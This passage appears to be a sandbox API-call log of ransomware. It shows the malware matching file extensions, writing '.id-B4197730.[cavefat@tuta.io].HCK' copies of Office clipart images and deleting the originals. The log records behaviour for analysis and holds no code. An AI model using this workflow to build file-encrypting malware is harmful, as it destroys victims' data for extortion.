[0177.907] lstrlenW (lpString=".pdf") returned 4 [0177.907] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.907] lstrlenW (lpString=".xls") returned 4 [0177.907] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.907] lstrlenW (lpString=".xlsx") returned 5 [0177.907] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0177.907] lstrlenW (lpString=".ppt") returned 4 [0177.907] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG") returned 68 [0177.907] lstrlenW (lpString=".zip") returned 4 [0177.907] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.907] lstrlenW (lpString=".rar") returned 4 [0177.907] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.907] lstrlenW (lpString=".bz2") returned 4 [0177.907] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.907] lstrlenW (lpString=".7z") returned 3 [0177.907] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG") returned 68 [0177.907] lstrlenW (lpString=".dbf") returned 4 [0177.907] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG") returned 68 [0177.907] lstrlenW (lpString=".1cd") returned 4 [0177.907] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG") returned 68 [0177.907] lstrlenW (lpString=".jpg") returned 4 [0177.907] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG") returned 68 [0177.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG") returned 68 [0177.907] lstrlenW (lpString=".doc") returned 4 [0177.907] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.907] lstrlenW (lpString=".docx") returned 5 [0177.907] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0177.907] lstrlenW (lpString=".pdf") returned 4 [0177.908] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.908] lstrlenW (lpString=".xls") returned 4 [0177.908] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.908] lstrlenW (lpString=".xlsx") returned 5 [0177.908] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0177.908] lstrlenW (lpString=".ppt") returned 4 [0177.908] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG") returned 68 [0177.908] lstrlenW (lpString=".zip") returned 4 [0177.908] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.908] lstrlenW (lpString=".rar") returned 4 [0177.908] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.908] lstrlenW (lpString=".bz2") returned 4 [0177.908] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.908] lstrlenW (lpString=".7z") returned 3 [0177.908] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG") returned 68 [0177.908] lstrlenW (lpString=".dbf") returned 4 [0177.908] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG") returned 68 [0177.908] lstrlenW (lpString=".1cd") returned 4 [0177.908] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG") returned 68 [0177.908] lstrlenW (lpString=".jpg") returned 4 [0177.908] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.908] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0177.908] lstrlenW (lpString="J0382962.JPG") returned 12 [0177.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382962.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0177.910] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=114423) returned 1 [0177.910] CloseHandle (hObject=0x39c) returned 1 [0177.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382962.jpg")) returned 0x220 [0177.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382962.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382962.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0177.921] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.921] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382962.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0177.928] GetLastError () returned 0x0 [0177.928] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1bef7, lpOverlapped=0x0) returned 1 [0177.933] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1bf00, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1bf00, lpOverlapped=0x0) returned 1 [0177.935] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.935] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.935] SetEndOfFile (hFile=0x300) returned 1 [0177.937] CloseHandle (hObject=0x300) returned 1 [0177.937] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.937] SetEndOfFile (hFile=0x3a4) returned 1 [0177.940] CloseHandle (hObject=0x3a4) returned 1 [0177.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0177.941] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382962.jpg")) returned 1 [0177.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG") returned 68 [0177.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG") returned 68 [0177.943] lstrlenW (lpString=".doc") returned 4 [0177.943] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.943] lstrlenW (lpString=".docx") returned 5 [0177.943] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0177.943] lstrlenW (lpString=".pdf") returned 4 [0177.943] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.943] lstrlenW (lpString=".xls") returned 4 [0177.943] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.943] lstrlenW (lpString=".xlsx") returned 5 [0177.943] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0177.943] lstrlenW (lpString=".ppt") returned 4 [0177.943] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG") returned 68 [0177.943] lstrlenW (lpString=".zip") returned 4 [0177.943] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.943] lstrlenW (lpString=".rar") returned 4 [0177.943] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.943] lstrlenW (lpString=".bz2") returned 4 [0177.943] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.943] lstrlenW (lpString=".7z") returned 3 [0177.943] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG") returned 68 [0177.943] lstrlenW (lpString=".dbf") returned 4 [0177.943] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG") returned 68 [0177.943] lstrlenW (lpString=".1cd") returned 4 [0177.943] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG") returned 68 [0177.943] lstrlenW (lpString=".jpg") returned 4 [0177.943] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG") returned 68 [0177.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG") returned 68 [0177.944] lstrlenW (lpString=".doc") returned 4 [0177.944] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.944] lstrlenW (lpString=".docx") returned 5 [0177.944] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0177.944] lstrlenW (lpString=".pdf") returned 4 [0177.944] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.944] lstrlenW (lpString=".xls") returned 4 [0177.944] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.944] lstrlenW (lpString=".xlsx") returned 5 [0177.944] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0177.944] lstrlenW (lpString=".ppt") returned 4 [0177.944] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG") returned 68 [0177.944] lstrlenW (lpString=".zip") returned 4 [0177.944] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.944] lstrlenW (lpString=".rar") returned 4 [0177.944] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.944] lstrlenW (lpString=".bz2") returned 4 [0177.944] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.944] lstrlenW (lpString=".7z") returned 3 [0177.944] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG") returned 68 [0177.944] lstrlenW (lpString=".dbf") returned 4 [0177.944] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG") returned 68 [0177.944] lstrlenW (lpString=".1cd") returned 4 [0177.944] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG") returned 68 [0177.944] lstrlenW (lpString=".jpg") returned 4 [0177.944] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.944] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0177.944] lstrlenW (lpString="J0382967.JPG") returned 12 [0177.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382967.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0177.949] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=93448) returned 1 [0177.949] CloseHandle (hObject=0x3a4) returned 1 [0177.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382967.jpg")) returned 0x220 [0177.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382967.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382967.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0177.954] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.954] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382967.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0177.963] GetLastError () returned 0x0 [0177.964] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x16d08, lpOverlapped=0x0) returned 1 [0177.967] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x16d10, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x16d10, lpOverlapped=0x0) returned 1 [0177.969] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.969] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.969] SetEndOfFile (hFile=0x2fc) returned 1 [0177.971] CloseHandle (hObject=0x2fc) returned 1 [0177.972] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.972] SetEndOfFile (hFile=0x368) returned 1 [0177.980] CloseHandle (hObject=0x368) returned 1 [0177.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0177.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382967.jpg")) returned 1 [0177.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG") returned 68 [0177.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG") returned 68 [0177.982] lstrlenW (lpString=".doc") returned 4 [0177.982] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.982] lstrlenW (lpString=".docx") returned 5 [0177.982] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0177.982] lstrlenW (lpString=".pdf") returned 4 [0177.982] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.982] lstrlenW (lpString=".xls") returned 4 [0177.982] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.982] lstrlenW (lpString=".xlsx") returned 5 [0177.982] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0177.982] lstrlenW (lpString=".ppt") returned 4 [0177.982] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG") returned 68 [0177.982] lstrlenW (lpString=".zip") returned 4 [0177.982] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.983] lstrlenW (lpString=".rar") returned 4 [0177.983] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.983] lstrlenW (lpString=".bz2") returned 4 [0177.983] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.983] lstrlenW (lpString=".7z") returned 3 [0177.983] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG") returned 68 [0177.983] lstrlenW (lpString=".dbf") returned 4 [0177.983] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG") returned 68 [0177.983] lstrlenW (lpString=".1cd") returned 4 [0177.983] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG") returned 68 [0177.983] lstrlenW (lpString=".jpg") returned 4 [0177.983] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG") returned 68 [0177.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG") returned 68 [0177.983] lstrlenW (lpString=".doc") returned 4 [0177.983] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.983] lstrlenW (lpString=".docx") returned 5 [0177.983] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0177.983] lstrlenW (lpString=".pdf") returned 4 [0177.983] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.983] lstrlenW (lpString=".xls") returned 4 [0177.983] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.983] lstrlenW (lpString=".xlsx") returned 5 [0177.983] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0177.983] lstrlenW (lpString=".ppt") returned 4 [0177.983] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG") returned 68 [0177.983] lstrlenW (lpString=".zip") returned 4 [0177.983] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.983] lstrlenW (lpString=".rar") returned 4 [0177.983] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.983] lstrlenW (lpString=".bz2") returned 4 [0177.983] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.983] lstrlenW (lpString=".7z") returned 3 [0177.983] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG") returned 68 [0177.983] lstrlenW (lpString=".dbf") returned 4 [0177.983] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG") returned 68 [0177.983] lstrlenW (lpString=".1cd") returned 4 [0177.983] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382967.JPG") returned 68 [0177.983] lstrlenW (lpString=".jpg") returned 4 [0177.983] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.983] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0177.984] lstrlenW (lpString="J0384862.JPG") returned 12 [0177.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384862.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.985] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=102633) returned 1 [0177.985] CloseHandle (hObject=0x370) returned 1 [0177.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384862.jpg")) returned 0x220 [0177.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384862.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384862.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0177.989] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.989] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384862.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0177.998] GetLastError () returned 0x0 [0177.998] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x190e9, lpOverlapped=0x0) returned 1 [0178.001] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x190f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x190f0, lpOverlapped=0x0) returned 1 [0178.003] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.003] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.003] SetEndOfFile (hFile=0x39c) returned 1 [0178.005] CloseHandle (hObject=0x39c) returned 1 [0178.005] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.005] SetEndOfFile (hFile=0x300) returned 1 [0178.008] CloseHandle (hObject=0x300) returned 1 [0178.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384862.jpg")) returned 1 [0178.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0178.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0178.013] lstrlenW (lpString=".doc") returned 4 [0178.014] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.014] lstrlenW (lpString=".docx") returned 5 [0178.014] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0178.014] lstrlenW (lpString=".pdf") returned 4 [0178.014] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.014] lstrlenW (lpString=".xls") returned 4 [0178.014] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.014] lstrlenW (lpString=".xlsx") returned 5 [0178.014] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0178.014] lstrlenW (lpString=".ppt") returned 4 [0178.014] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384862.JPG") returned 68 [0178.014] 